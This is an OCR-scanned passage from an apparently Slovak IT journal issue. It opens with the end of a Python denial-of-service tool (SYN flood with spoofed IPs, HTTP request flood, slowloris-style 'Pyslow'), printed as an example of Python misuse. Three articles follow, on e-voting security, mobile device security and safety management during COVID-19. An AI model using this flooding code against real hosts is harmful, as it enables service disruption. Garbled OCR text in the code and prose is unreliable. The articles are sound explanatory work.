options.add_argument(’-Pyslow',action='store_true',help='"Enable pyslow
attack”)
options.add_argument('--
fakeip',action='store_true’ default=False,help="Option to create fake ip if not specify
spoofed ip")
args = parser.parse_args()
if args.d == False:
parser.print_help()
sys.exit()
add_bots();add_useragent()
if args.d:
check_tgt(args)
if args.Synflood:
vid = os.getuid()
if uid == O:
cprint('[*] You have enough permisson to run this script’,'green’)
time.sleep(0.5)
else:
sys.exit(cprint('[-] You haven\'t enough permission to run this
script’,/red"))
tgt=check_tgt(args)
synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,)
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ts=[]
threads=[]
print colored('[*] Started SYN Flood: '/blue")+colored(tgt,'red")
while 1.
if args.i == False:
args.fakeip = True
if args.fakeip == True:
ip = fake_ip()
else:
ip = args.i
try:

for x in xrange(0,int(args.T)):
thread=Synflood(tgt,ip,sock=synsock)
thread.setDaemon(True)
thread.start()
thread.,join()
except Keyboardinterrupt:
sys.exit(cprint('[-] Canceled by user',red"))
elif args.Request:
tgt = args.d
threads =[]
print colored('[*] Start send request to: ''blue’)+colored(tgt,'red")
while 1:
try:
for x in xrange(int(args.T)):
t=Requester(tgt)
t.setDaemon(True)
t.start()
tjoin()
except Keyboardinterrupt:
sys.exit(cprint('[-] Canceled by user','red"))
elif args.Pyslow:
try:
tgt = args.d
port = args.p
to = float(args.t)
st = int(args.s)
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threads = int(args.T)
except Exception,e:

print '[-].e
while 1.

try:

worker=Pyslow(tgt,port,to,threads,st)
worker.doconnection()
except Keyboardinterrupt:
sys.exit(cprint('[-] Canceled by user',red"))
if not (args.Synflood) and not (args.Request) and not (args.Pyslow):

parser.print_help()

print

sys.exit(cprint('[-] You must choose attack type','red"))

if  _name__=='__main__"
main()

Zdaver

Siroké moznosti pouZitia jazyka Python ajeho rozsiahle kniznice sa ¢asto
zneuzivaju na  pdchanie  kybernetickych  zloc¢inov. Lahkost  pouzZivania
programovacieho jazyka Python ajeho bohaté kniznice ponukaju moznosti
zneuzitia. Ochranou voci takymto moznostiam pouZzivania skriptov v jazyku Python
je dokladnd kontrola spustanych kédov.
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BEZPECNOST PRI ELEKTRONICKYCH VOLBACH

CYBER SECURITY OF ELECTRONIC ELECTIONS
Branislav Brozman

Abstract

The aim of this article is to review cyber security threats of electronic election. The
leader of e-election is Estonia. The European Union is behind the scene because of
the security threats.

Key words: Electronic election

Abstrakt

Cielom clanku je posudit’ bezpecnostné hrozby pri elektronickych volbdach. V
sucasnosti je lidrom v elektronickych volbdch Estonsko a Staty v Eurdpskej unii su
kvoli zisteniom bezpecnostnych hrozieb v Uzadi.

KPucové slova: Elektronické volby

Uvod

Modernd doba sa neustdle vyvija a napreduje vysokym tempom. Ludia sa
prispdsobuju modernym technoldgidm a stdvaju sa coraz pohodinejsimi. V dnesnej
dobe ocakdvaju moderné rieSenia informatizdcie a zefektivnenie vsetkych
procesov. Na Slovensku v8ak castokrat k takgmto moderngm procesom
nedochddza. Vygnimkou je momentdine pilotné plne elektronické scitavania
obyvatelstva. Pre mnohych z nds je to sprdavny krok dopredu aj ked’ pre mnohych
najma starsich alebo menej zru¢nych obyvatelfov to mdze byt komplikovanejsie.
KomplikovanejSou témou su viak elektronické volby.

Elektronické volby

Kazdy obcan Slovenskej republiky mda prdavo vyjadrit’ svoj hlas tym, ze vo
volebnej miestnosti vlozi do papierovej debnicky v obdlke svoj hlas preferovanej
strane alebo svojmu kandiddtovi. Momentdlne to vSak nemdze urobit kazdy
Slovdk. V dnesnej dobe, ked” nemdme problém sa dostat’ z jednej strany sveta na
druhy za pdr hodin a Castokrdt pracujeme alebo Studujeme v zahranici, je migrdcia
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beznou sucast'ou takmer kazdého z nds. V sucasnosti v zahranici pracuje vyse 300
000 Slovdkovt®. Velakrat z pracovnych alebo ingch dévodov sa ndm cestovat’
domov kvéli vofbdm nedd. Obzvldst ak ide o prezidentské volby, ktoré sa konaju
prevazne v dvoch koldch s dvojtyzdnovou prestavkoul. Slovdci Zijuci v zahranici
si musia v predstihu poziadat” o hlasovaci listok a do istého terminu svoj hlas
odoslat’ postou™. Az vyse 49 000 voli¢ov hlasovalo v poslednych parlamentnych
volbdach postout™. Nastdva tak zdihavy a neefektivny proces. Histéria poslednych
volieb ukdzala, Ze fudia Zijuci v zahranici su viac liberdlni a na su&asnu politiku maju
iny ndzor ako vacsina obyvatelov ktori do zahranicia tak casto necestuju. Nastdva
tak otdzka, ¢i by sa zmenili vysledky volieb ¢i uz prezidentskych, parlamentnych
alebo komundlnych, ak by sme mohli volit’ elektronicky.

Eurdpskym lidrom v elektronickom hlasovani su uz od roku 2005 jednoznacne
Esténci. Na to, aby mohli volit’ elektronicky je takzvany i-voting. Potrebuju na to iba
notebook s pripojenim na internet, ¢itacku, obciansky preukaz a antivirusBl. Je to
ale bezpecné? Bezpecnost je prvoradd a aqj predstavitelia tohto systému
priznavaju, ze mdze nastat’ Utok na volebny systém a hlasy mdzu byt zneuzitéll,
Hlasovanie postou vSak tiez nie je bezchybné. Niektori voli¢i zo zahranicia dostali
chybné zdasielky s hlasovacimi listkami a pocetné obdlky s hlasmi skoncili podfa
portdlu Cybersec v zlgch okrskovych komisidch. Systém elektronického hlasovania
ma viacero trhlin a kritické zranitefnosti. Riaditel Slovenského institutu pre
bezpecnostnu politiku tvrdi, Ze ,bezpecnostné rizikd spojené so zavedenim
elektronického hlasovania daleko prevazuju jeho vyghody. Hovoria o tom
skusenosti ingch Stdtov, ktoré moznost’ elektronického hlasovania testovali, no
vyhodnotili ho ako nespolahlivgi.” Obavy z bezpec¢nosti hlasovania cez internet
maju aj odbornici na pocitacu bezpecnost. Na osobné pocitace volicov z ktorych
sa e-maily odosielaju, lahko a neustdle Utocia virusy, trojské kone a spyware.
Akondhle je hlasovaci listok odoslany e-mailom, pohybuje sa medzi mnohygmi
réznymi servermi umiestnengymi po celej planéte a kazdy, kto ma pristup k
niektorému z tychto strojov, moéze byt kompromitovany. V kone¢nom dbésledku,
odosielatel nemd moznost’ skontrolovat, ¢i uradnik ktory hlasovaci listok prevzal
sa zhoduje s tym, ktory voli¢ odoslal. A to bez ohfadu na to, ako dobre zabezpecené
mozu byt ich krajské pocitacoveé sluzby a aj bez ohlfadu na to, kolko investicii sa
minulo pri licencovani softvéru a na modernizdciu ich softvérovt®l,

Aj Estonsky systém ma svoje nedokonalosti. Ich zaistenie bezpecnosti nie je
dostatocné a médze ich prelomit’ viaceré typy utokov. Podla portdlu cybersec.sk je
» Zakladnym kamenom urazu fakt, Zze kyberzloc¢inci mézu napadnut’ zariadenie, z
ktorého voli¢ hlasuje, a infikovat ho malvérom. Uto¢nik dokaze ukradnut’ PIN kédy
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potrebné k autorizdcii pomocou ID karty volica. Ked'Ze estonsky systém umoznuje
voli¢ovi po urcitu dobu prehodnotit’ svoju volbu, Utocnik mbze zneuZit pristup k jeho
ID karte a pozmenit” hlas podla vlastnej véle. Tento postup dokdze replikovat na
desiatkach tisicoch zariaden{.H*

V sucasnosti aj Eurdpska Unia sa zaoberd rieSenim volebnej bezpecnosti v celej
Eurdpskej uniil®l. Expertnd skupina komisie pre volebne zdlezitosti sa zameriava na
otdzky spojené s hlasovanim cez internet, nie len z dévodu iniciativy ndrastu poctu
hlasujucich, ale aj z bezpe¢nostného hladiskal”.

Napriek vSetkgym tymto bezpelnostngm pochybeniam, dbévera v elektronické
hlasovania v Estonsku nad’alej stupa, €o preukazuje aj obrdzok 1.

Obrdzok 1 Pocet hlasujucich cez internet
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Zdroj : Techbox.dennikn.sk

Z finan¢ného hladiska aj elektronické volby nie su lacnd zdlezitost. Aj napriek
zvysengym ndkladom na hardvér a softvér ktory je potrebny pri elektronickych
volbdch, sa dokdze usetrit’ az 50% ndkladov spojenych s volbami. Podla studie z
Talinn University of Technology z roku 2019, ndklady v den volieb vo volebnej
miestnosti sU 4,61€ na jeden hlas. V pripade odovzdania hlasovacieho listka cez
internet su ndklady vo vyske 2,32€ na jeden hlast?.

Na Slovensku hlavnu iniciativu za lepSie volby presadzuje obcianske zdruzenie
Srdcom doma. O tejto iniciative sme mohli pocut najmd pri poslednych
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parlamentnych volbdch. Toto obclianske zdruzenie vyvinulo prototyp aplikdcie,
ktord umozni podat’ ziadost o volbu postou alebo podat’ ziadost o hlasovaci
preukaz bezpeCnou cestou a to pomocou autentifikdcie pomocou elD.
Momentdlnym najvacsim problémom slovenskej bezpecnostnej legislativy je
moznost’ “ukradnut hlas*®l Staci na to rodné Cislo voli¢a a hlas je zaslany namiesto
voli¢ovi, na adresu podvodnika, ¢o ma za ndsledok, ze podvodnik bude hlasovat
za voli¢a. Iniciativa Srdcom doma v8ak navrhla zmeny, ktoré maju takgmto
podvodnikom zabrdnit. Prvotnou zmenou je centrdlne spracovanie Zziadosti
ministerstvom vnutra SR a nie obcou. Ked’ze v sucasnosti ma viac ako 4 miliény
ob&anov SR elektronicky preukaz s cipom, ndvrh rdta s pouzitim elD a
bezpecnostngm kédom. Je to urcite bezpecnejsie ako posielat” e-mail s osobnymi
udajmit®l Navrhov je viac a je mozné siich pozriet’ na stradnke srdcomdoma.ski*]

Zdaver

Na zdver tak mdzeme konstatovat, Zze aj napriek tomu, Ze na Slovensku v
elektronickom hlasovani z celkového poctu 66 348 zucastnenych az 91% bolo za
elektronické hlasovanie, su¢asne podmienky a technoldgie na Slovensku nie su este
tak vyspelé, aby dokdzali zabrdnit hrozbdm zneuzitia volebnej moci. Budeme vsak
silno drzat' palce iniciative Srdcom doma, aby dokdzala vyvinut a presadit’
aplikaciu na Uspesne hlasovanie nie len zo zahranicia, ale aj z hociktorého miesta
na Slovensku. Netreba vsak zabudat’ na fakt, Ze nie len pri elektronickom hlasovani,
ale aj “starom dobrom® hlasovani postou, ¢i s¢itavani hlasov Uradnickou osobou
moze dojst’ k fTudskému omylu a nie presnému scitaniu hlasov.
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BEZPECNOST MOBILNYCH ZARIADENI

SECURITY OF MOBILE DEVICES
Radomir Chovanec

Abstract

The aim of the article is to assess security threats in the operation of mobile
phones. The article describes the most common security threats and suggestions
for increasing the level of security of mobile devices.

Keywords: smartphone, security

Abstrakt

Ciefom ¢ladnku je posudit’ bezpe&nostné hrozby pri prevdadzkovani mobilnych
telefénov. V Clanku su popisané najcastejSie bezpecnostné hrozby a ndvrhy na
zvysenie Urovne bezpecnosti mobilnych zariaden.

KPdcové slova: smartfén, bezpecnost’

Uvod

Mobilné zariadenia postupne vnikli do nasich zZivotov a stali sa tak naSou
neodmuyslitelnou kazdodennou sucastou. Mdlo fudi si v8ak uvedomuje, zZe
pouzivanim smartfénu mdézu ohrozovat’ svoju bezpecnost. Pomocou mobilnych
aplikacii sa mézeme pripojit’ na socidline siete, internetbankingu ale aj na pracovny
email, v ktorom mézeme mat’ zdlohované citlivé udaje. S moznostami vsak
prichddzaju aj hrozby. Mobilné zariadenia su zranitelné a dokdzu ich napddat
virusy, ktoré ndm maézu zneprijemnit’ zivot a ukradnut’ aj osobné udajel®..

Mobilné zariadenia a ich bezpec¢nost

Informacnd bezpecnost’ sa vo vSeobecnosti zaoberd ochranou ddat a informdcii
od ich pociatku, cez spracovanie, ukladanie a prenos az po ich odstrdnenie na
zdklade presne stanovenych organizacnych opatreni. Informacnd bezpecnost’ sa
taktiez definuje ako schopnost’ siete alebo informacného systému spolahlivo
odolavat ndhodngm udalostiom, nezdkonnému konaniu, ktoré by mohlo ohrozit
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dostupnost, pravost’, integritu a déveryhodnost’ uchovavanych alebo prendsanych
udajov pristupnych prostrednictvom tychto sieti a systémovt’.,

Mobilné zariadenia mdzeme popisat’ ako systémy, pre ktoré su priznacné viaceré
vlastnosti, na ktorych je postaveny prdve privliastok ,mobilné®. V zdklade mbzeme
hovorit’ o mobilnom zariadeni ako o zariadeni, ktoré je prenosné. Pouzivatel ho
moze vyuzivat na rézne UCely a v réznych situdciach pocas dna bez vacsich
obmedzeni. S moznostou neobmedzeného prenosu sa vsak nevyhnutne spdja qj
pouzitelnost’ takého zariadenia predovsetkym v situdcidch, pre ktoré je
charakteristicky pohyb, ¢i premenlivost’ prostredia.

Bezpecénostné hrozby

VSetky smartfény su uz dnes ohrozené podobne ako pocitace. SU na ne skusane
vSetky typy utokov, a preto je potrebné chranit’ si svoju bezpe&nost. Pre mobily
existuju obzvldast rizikd, ked’ze suU prenosné a lahko vieme byt podfa nich
sledovany. Preto by mali byt chrdnené SirSou skupinou bezpecnostnych technik
ako tradi¢né notebooky.

Co ohrozuje nase mobilné zariadenie? Aj obycajné stiahnutie aplikdcie alebo
ndvsteva neoverenych stranok. Medzi najzndmejsie ohrozenie patri nesprdvne
ukladanie dat. Ak nemdme dostato¢ne zdlohované data, tak mézeme o nich prist’
a to uz spdbsobom nesprdvne zabezpecenej aplikacie alebo stratou telefénu.
Najzranitefnejsimi udajmi su pre nds hesld, osobné Udaje ako meno, priezvisko,
adresa, popripade ¢islo obcianskeho preukazu. Taktiez mdze ist’ o citlivé firemné
data akygmi su ekonomické vykazy, strategické plany alebo osobné udaje
zamestnancov firmu.

Dalsou hrozbou je slabd kontrola zo strany serveru. Servery, ktoré nemaju
dostato¢ne vyvinuté bezpecnostné opatrenia mdézu neoprdvnenym uzivatelom
pristup k nasim udajomt®. Tvorcovia aplikdcii by spravidla mali pouzivat’ vliastny
server alebo server inych firiem, aby ochranili svojich zakaznikov. Ak nie je aplikacia
ulozend na overenom serveri méze spdsobit’ problémy. Dnes firmy poskytuju
sluzby nielen na zdlohovanie udajov ale dokdzu zarucit’ aj ich bezpecnost’.

Pri tvoreni mobilnych aplikacii dochddza k vymene udajov typom klient-server. K
tejto vymene udajov prichddza prostrednictvom sieti operdtora a internetul?. Ak je
aplikdcia zle naprogramovand a nie je dostatocne zabezpecend, prostriedky
hrozby mézu pouzit’ rézne techniky na zobrazenie citlivych udajov, kym udaje
prechddzaju sietou. K Uniku udajov mbze dbjst’ v sieti pouzivatela alebo na
sietovom zariadeni, ktoré prepdja pouzivatela s internetom.B! Unik citlivgch udajov
moze spbsobit’, ze dochddza napriklad k neoprdvnenym platbdm v zahranici z
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nasej karty. Banky s tym mali niekolko skusenosti a museli tym pddom riesit’
reklamdcie klientov.

Dalsim typom Utoku je ohrozenie, ktoré si ani nemusime v&imnut. Ak si z
niektorého storu stiaohneme aplikdcivu je kod aplikacie ulozeny na zariadenie
pouzivatela. Na tento kod dokdzu Utocnici vytvorit textovy subor, do ktorého vsunu
kod na vykonanie utoku. Utoky takzvaného vsunutia alebo inak povedané SQL
Injection na zariadeni pouzivatela funguju na principe toho, Zze vyuzivand aplikdacia
pracuje s viac ako jednym pouzivatelskym kontom na jednej aplikdcii so zdielangm
zariadenim alebo s platenym obsahom. Dalsie injekéné body su uréené na
pretazenie zloZiek aplikdcie, ktoré nemaju taky velkd Uspesnost vdaka
spravovanym ochrandm kédu aplikaénych jazykovt.,

Dalsou hrozbou je nevhodné sprévanie reldcie, ktoré méze narusit bezpecnost
chodu aplikdcie. Predist’ takémuto sprdvaniu dokdzu zabezpecené aplikdcie takgm
spbdsobom, Ze maju nastaveny &as reldcie a po vyprsani ¢asu sa jednotlivé okno
aplikacie zatvori. Pouzivatel tak musi celu reldciu vykonat odznova. Toto
zabezpecenie by malo predist tomu, aby niekto iny vstupil do zariadenia
pouzivatela. Tieto postupy by mali byt zavedené pre vSetky aplikdcie, ktoré
pracuju s citlivgmi udajmi. S tymto zabezpecenim sa mbdzeme stretnut’ napriklad
pri internebankingu. Pri plateni a zaddvani &isla karty, ak nechdme okno otvorené
a nevlozime vsetky potrebné Udaje po nejakom case sa ndm platba zrusi a proces
platby mdézeme opakovat’ od zaciatkut®l,

Pri stradnkach, ktoré pozaduju ako su cookies, premenné prostredia a skryté ¢asti
formuldrov nemdze pouzivatel neméze urobit zmenu. Co je véak nevyhodou
potenciondlny uUto¢nik mbze vykonat zmenu bez vedomia pouzivatefa. Ak sa
nevykondvaju autorizované vstupy na zdaklade hodndt vstupov hacker mbze celu
autorizdciu obist. Bez dostato¢ného Sifrovania, kontroly integrity alebo iného
mechanizmu je kazdy vstup, ktory pochddza zvonku, povazovany za
neddveryhodnyt,

Smartfény Casto nepouzivaju zZiaden bezpecnostny softvér, ktory by ich ochrdnil.
Mnohé zariadenia nemaju v sebe zabudované také ndstroje, ktoré by mohli sluzit’
na ochranu pred Skodlivgmi aplikaciami, spywarom alebo malvérom Jeden z
najjednoduchsich rieSenti je fyzické zabezpecenie teleféonu. Kazdy vyrobca ponuka
moznost’ uzamknutia telefénu. Ako sa vyvijali teleféony, vyvijali sa aj rieSenia
uzamkynania mobilnych zariadeni. Najprv to bolo klasické uzamknutie, kde sa 20
od pouzivatela vyzadovalo heslo. Neskér vysli na trh zariadenia, ktoré uz v sebe
obsahovali senzor na odomknutie pomocou odtlacku prsta. Najnovsim trendom je
v8ak, ze telefén zaznamend tvdr pouzivatela a tym odomkne telefon.
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Zvysenie bezpecénosti mobilnych zariadeni

Odbornici, zamerani na ochranu osobnych udajov v mobilngch aplikacidch, ktoré
poskytuju penazné sluzby (internetbanking) vypracovali niekolko rad ako by sa
mal pouzivatel chrdnit, a tym pddom ochrdnil svoje udaje a financie:

* inStalovat’ si antivirus a d’alsie aplikdacie pre zabezpecenie - v dneSnej dobe
sa oplati priplatit’ za balik sluzieb, ktory ndm komplexne ochrdni telefon,
d'alsou moznostou je nainstalovat’ si antivirusovy program, napr. Avast,
ktory odhali pripadné virusy

* neprihlasovat so do interbankingu bez ochrany na verejnej wifi - do verejne
wifi sa mdze prihldsit’ hocikto, napriklad aj hacker, ktory tak fahko méze
ziskat' nase ddta, a preto treba prihlasovat’ len do zabezpe&enych serverov
a do zariadenia inStalovat’ softvér, ktory prinesie bezpecné pripojenie na
verejnych WIFI

* pouzivat sluzbu VPN - vd'aka VPN sa dd pripojit’ k réznym serverom cez
zasifrované zariadenia, ktoré zvonku nie je Citatelné. Je lepsie vyvarovat’ sa
bezplatngm VPN, na ktoré sa mézu pripojit’ rézni Fudial©l,

* pouzivat silné hesld - silné hesld znizia riziko naburania sa k osobngm
udajom, na Uplnu ochranu vSak nestacia, a preto je potrebné sa zabezpecit’
viacerymi spdsobmi

* predchadzat’ zavireniu zariadenia - ak je v smartféne pouzivany antivirus a
softvér je stdle aktualizovany pravdepodobnost’ nakazenia je velmi nizka.
Do telefénu by sme si mali stahovat’ len overené aplikdcie, rozumnejsie si je
priplatit’ za overenu aplikdciu ako v désledku viru prist’ o cely telefon

* nepodcenovat SMS spravy a hovory - nebezpecenstvo mdzu predstavovat’
aj hovory z neoverenych cisel, ktoré mézu odpocuvat’ nase zariadenie

* vlastnd ochrana - mali by sme byt ostraziti aké informdcie zdiefame na
socidlnych sietach, neodporuca sa uvadzat’ osobné udaje, a udaje, ktoré by
mohli ohrozit bezpecnost bankového Uctu.

e sprava systému - nastavenie, ktoré sa tyka celkového systému,
uzivatelskych uctov a opravneni.

Pri strate teleféonu nehrd taky doélezity rolu cena telefénu ale jeho obsah. V
Londyne sa napriklad denne odcudzi az 314 smartfénov. Moderné mobilné
zariadenia obsahuju moznost’ strateného modu. Ide o funkciu, ktord sa aktivuje v
pripade straty a odcudzenia telefénu. Zariadenia obsahuju nastavenie vzdialeného
ovlddania. Toto ovlddanie sa uskutocnuje prostrednictvom webového prehliadaca,
pomocou mobilnej siete alebo GPS signdlu. Pouzivatel si mdze zadefinovat, ¢o sa
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udeje s telefbnom v pripade straty alebo odcudzenia. Existuju volby ako vymazat’
vSetky udaje, restovat’ telefén do tovdrenského nastavenia, vypisat” kontaktné
Udaje v pripade vratenia telefonut.

Zdaver

Bezpecnost mobilnych zariadeni, ktoré dennodenne pouzivame, je diskutabilnd.
Existuje mnozstvo hrozieb, ktoré su Specializované prdve na mobilné zariadenia.
Podnikoveé riesenia pouzivania mobilnych zariadeni s na tom vyrazne lepsie, ale
aj tam je potrebné nardbat’ s mobilngm zariadenim obozretne a nenechat’ sa
uspokojit’ informdciou, ze zariadenie je bezpecné.
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MANAZMENT BEZPECNOSTI V SPOJITOSTI S COVID-
19

SAFETY MANAGEMENT IN CONNECTION WITH COVID-19
Peter Jelencik

Abstract

The article focuses on the description of security issues in connection with the
currently prevailing pandemic situation. The aim of the article is to acquaint readers
with the basic concepts of safety management and to point out the importance of
safety in the spread of dangerous disease COVID-19. To achieve the main goal, the
author draws from several relevant sources.

Key words: Safety, COVID-19, management

Abstrakt

Clanok sa zameriava na opis problematiky bezpe&nosti v spojitosti s aktudine
previddajucou pandemickou situdciou. Cieflom Clanku je obozndmit Citatelov so
zdkladnygmi pojmami z oblasti manazmentu bezpe&nosti a poukdzat’ na doélezitost’
bezpecnosti pri Sireni nebezpecného ochorenia COVID-19. Na dosiahnutie hlavného
ciela autor Cerpd z viacerych relevantnych zdrojov.

KPuéové slovd: Bezpecnost, COVID-19, manazment

Uvod

Bezpecnost' je kazdodennou sucastou zivotov ludi. ,Clovek pravidelne robf
rozhodnutia na zdklade subjektivnych a objektivnych faktorov tak, aby sa citil
bezpecne a aby ni¢ neohrozovalo jeho bezprostrednu existenciu - pri jazde v aute
si zapiname bezpelnostné pdsy, v noci sa vyhybame tmavygm a nezndmym
ulickam, pri prechode cez cestu sa obzerdme, ¢i nejde auto a dokonca aj dovolenku
si vyberdme podla toho, ¢i je dané miesto bezpecné .o

Bezpecnost’ fudia uz od ddavnych cias povazovali za prvoradu. Vo vojenskom
obdobi mozno ako priklad uviest” vytvdaranie réznych bezpecnostnych stratégi,
resp. zabezpecovanie bezpecnosti teritorii €i vysoko postavenych oséb. Mozno ju

71 http://www.manazerskainformatika.sk



|

ISSN 2729-8310, rocnik 1, &islo 2

preto oznacit’ ako jednu z hlavnych potrieb fudi. Svedc¢i o tom qj druhd z Urovni
Maslowovej pyramidy potrieb, ktord poukazuje na potrebu bezpecia. Ide najma o
ochranu Zivota, ako aj istotu v buducnosti.

Manazérska Informatika

Obrdzok 1 Maslowova pyramida potrieb

potreba cty

uznanie, status, prestiz,
kladné odozva z okolia

socidlne potreb
/ kontakt, lska, spp;upuni{ry\osl\
/ potreba bezpecia \
istota v budicnosti, ochrana
/ tyziologické potreby \
hlod, smid, dychanie, spanok, sex

Zdroj Thttos,//beonline.sk/zaklady-marketingu-ktore-musite-poznat-maslowova-pyramida/

Manazment bezpeénosti

Pojem bezpecnost mozno chdpat’ z viacerych uhlov pohladu, resp. je spdjany a
vyuzivany vo viacerych oblastiach. Vo vSeobecnosti mozno bezpecnost” oznacit’
ako ,stav, kedy dany aktér (¢i uz ide o jednotlivca, $tat alebo iného aktéra)
nepocituje nebezpecenstvo, respektive bezprostredné ohrozenie.’™ Podla Buzana
mozno bezpecnost’ definovat omnoho jednoduchsSie a priamejsie, a to tak, ze
bezpecnost’ je ,snaha o odstrdnenie hrozby*,

Bezpecnost’ je taktiez dblezitou sucastou kazdého statu.! Kazdy stat disponuje
vlastngmi smernicami a nariadeniami v oblasti bezpecnosti, ako aj vlastngmi
ozbrojenymi silami a orgdnmi ¢inngm v trestnom konani, ktoré sa podielaju na
zabezpecovani plynulého chodu bezpec¢nosti v jednotlivych krajindch. Tento typ
bezpecnosti nazyvame ako vnutornd bezpecnost, ktoru mozno definovat ako
,suhrn vnutornych bezpecnostnych podmienok, legislativnych noriem a opatreni,
ktorgmi Stat zabezpecuje demokraciu, ekonomicky prosperitu, bezpecnost’
obc&anov, ako gj presadzovanie pravnych a mordinych noriem*“™, Jednotlivé stdty
disponuju vnutornou a vonkajSou suverenitou. ,Vnutornd suverenita mu umoziuje
vykondvat’ jurisdikciu v ramci statneho celku, zatial ¢o vonkajSia suverenita mu
garantuje rovnocenné postavenie v systéme medzindrodnych vztahov a to, ze
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Ziadny iny $tdt nemad pravo zasahovat do jeho internych zdlezitosti” Bezpecnost’
jednotlivych Statov sa postupom casu vyvija. Ako uz bolo v Uvode spomenuté, v
minulosti (pocas vojnovych obdobf) bola bezpecnost zamerand najma na ochranu
Uzemi jednotlivych Statov a ich obyvatelov. V sucasnosti sa vnimanie bezpenosti
rozSiruje aj na nové oblasti, ktoré dovtedy neboli vnimané ako bezpecnostné
hrozby. K danému faktu prispieva neustdle vyvijajuca sa digitdlina transformdcia
spolo¢nosti, ako aj svetovda globalizacia. ,Vojensky konflikt zrazu nebol jedinou
bezpe&nostnou hrozbou™l. St&ty museli pri svojom strategickom pldnovani brat do
uvahy aj ekonomicky vyvoj vo svete, zivotné prostredie ¢i migrdciu.l’ Vplyvom
digitalizacie sa k uvedenym priddva aj kyberneticky priestor.

Okrem toho existuje niekolko vyraznych bezpecnostnych hrozieb, na ktoré nie je
treba zabudat. Ide najmd& o ozbrojeny konflikt, terorizmus alebo globdinu
ekonomicku krizu ¢ pandémiu. Volner bezpe&nostné hrozby definoval ako ,také
javy a procesy ekonomického, politického, socidineho, vojenského, geopolitického,
ekologického,  vedecko-technického, informa&ného, mordlno-duchovného
charakteru na najréznejsej urovni spolo¢enského zivota (od individudlnej az po
globdlnu), ktoré priamo negativne pdsobia na prirodu a spolo¢nost’, ohrozuju ich
existenciu, fungovanie a rozvoj.“ 24

Pri pohlade na bezpecnostné hrozby je mozné ich rozdelit do niekolkych
zdkladnych typov. Tieto typy definoval Eichler nasledovnet®:

- priame (bezprostredné) - tie, ktorym je vystaveny ndas stat alebo my sami,

- nepriame - dotykaju sa spojencov, regiondlnej alebo svetovej stability,

- naliehavé - vyzaduju si neodkladnu, okamzitu reakciu,

- latentné - nevyzaduju si okamzitu reakciu, aj napriek tomu maju potencidl
stat’ sa naliehavymi,

- z&dmerné - vojenskd agresia, teroristické utoky, ekonomické sankcie,

- nezdmerné - ekonomické krizy, epidémie a pandémie a hrozby vznikajuce v
désledku plynutia prirodnych Cinitelov.

Hrozby mozno vnimat aj na zdklade iného c¢lenenia. Pozndme taktiez hrozby
vojenské (najzavaznejSie su invdzia a okupdcia), politické (naj¢astejSie spdjané s
konkrétnymi hodnotami a ideoldgiou, resp. existenciou diktdtorskych rezimov),
ekonomické, environmentdlne (napr. prirodné katastrofy a pod.). a spolo¢enské
(zalozené na rozdielnom vnimani a ndzoroch jednotlivych ¢lenov istych komunit i
spolocenskych skupin)tél,

Zijeme v modernej dobe plnej nepredvidatelnych udalosti. Bezpecnosti je
potrebné venovat’ zvysenu pozornost. Doba napreduje a spolu s nou su vyvijané
neustdle nové a nové technoldgie, ktoré aj v rdmci bezpe&nosti zohravaju ddlezitu
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Ulohu. Tieto moderné technoldgie sU vyuzivané najmda pri zabezpeovacich
systémoch (alarmy, kamery, senzory a pod.), pri bezpecnosti vozidiel (ndrazové
zény, airbag a pod.), pri bezpecnostnych kontroldch na letiskdch a podobnel”,

Bezpecnost je Uzko spdtd zo zdravim jednotlivcov. V radmci Slovenskej republiky
bezpecnost’ a zdravie upravuju dva zdkladné predpisy™!:

- Z&kon ¢.124/2006 Z. z. o bezpecnosti a ochrane zdravia pri prdci a o zmene
a doplneni niektorych zakonov

- Zdkon ¢. 355/2007 Z. z. o ochrane, podpore a rozvoji verejného zdravia a o
zmene a doplneni niektorych zdkonov

V poslednej dobe je na bezpecnost pri praci kladeny vysoky déraz. Bezpe¢nost’
a ochrana zdravia pri prdci, resp. skratene BOZP je stav pracovnych podmienok
eliminujucich vplyv nebezpecnych a Skodlivgych faktorov pracovného procesu
alebo prostredia zamestnancov, ktory si kladie za ciel zabezpedit’ bezpe&nost,
zdravie a pracovnu schopnost’ zamestnancov, ako aj prispiet’ k eliminovaniu §kéd
zamestndvatela na zariadeniach, vyrobkoch, v sluzbdch, pri vylukdach v pracovnom
procese a iné finan¢né straty. Zabezpecenie BOZP je povinnostou kazdého
zamestndvatelfa. Na druhej strane aj zamestnanci musia pri prdaci dbat” o svoju
bezpecnost’ a zdravie, ako aj o bezpecnost’ a zdravie ostatnych osdb™,

Vnimanie bezpecnosti mozno preniest’ aj do ochrany zivotného prostredia.
,LOchrana Zivotného prostredia zahffia c&innosti, ktorgmi sa predchddza
znecistovaniu alebo poskodzovaniu zZivotného prostredia alebo sa toto
znecistovanie alebo poskodzovanie obmedzuje a odstranuje. Zahrna ochranu jeho
jednotlivych zloziek alebo konkrétnych ekosystémov a ich vzdjomnych vazieb, ale
aj ochranu zZivotného prostredia ako celku.l"r

Specifickou su¢astou bezpeénosti je aj ochrana oséb a majetku. ,Pri posudzovani
bezpecnosti firmy je potrebné muysliet’ aj na menej bezné situdcie, ako je krimindina
¢innost, havdrie, krizové stavy a. i. Podnikatelia z viacerych dévodov potrebuju mat’
zabezpecené podnikatelské objekty vratane hmotného a nehmotného majetku v
nich. Taktiez vyplyva zo zdkona (aj z prostého ludského hladiska) povinnost
chranit’ svojich zamestnancov a osoby prevzaté do starostlivosti, ¢i uz na
pracovisku, pri verejnych podujatiach alebo v pripade krizovych stavov (zZivelnych
pohrém, havdrii alebo ingch nudzovych stavov). 11

V spojitosti s rozSirujucou sa digitalizdciou sa coraz CastejsSie sklonuje pojem
digitalna, resp. kybernetickd bezpecnost™.  Kybernetickou bezpelnostou sa
rozumie stav, v ktorom suU siete a informac¢né systémy schopné odoldvat na
urcitom stupni spolahlivosti akémukolvek konaniu, ktoré ohrozuje dostupnost,
pravost, integritu alebo dbévernost uchovdvanych, prendSanych alebo
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spracuvanych udajov alebo suvisiacich sluzieb poskytovanych alebo pristupnych
prostrednictvom tychto sieti a informacnych systémov.

V neposlednom rade o ni¢ menej dbélezitou problematikou je taktiez ochrana
osobnych udajov a s tym spojend bezpecnost. ,GDPR (General Data Protection
Regulation, skrdtene teda GDPR) je univerzdlne eurdpske nariadenie, ktoré od
25.5.2018 zavdadza novu Upravu prdv a povinnosti v oblasti spracuvania a ochrany
osobnych udajov. GDPR je zdavazné pre kazdého, kto spracuva osobné udaje
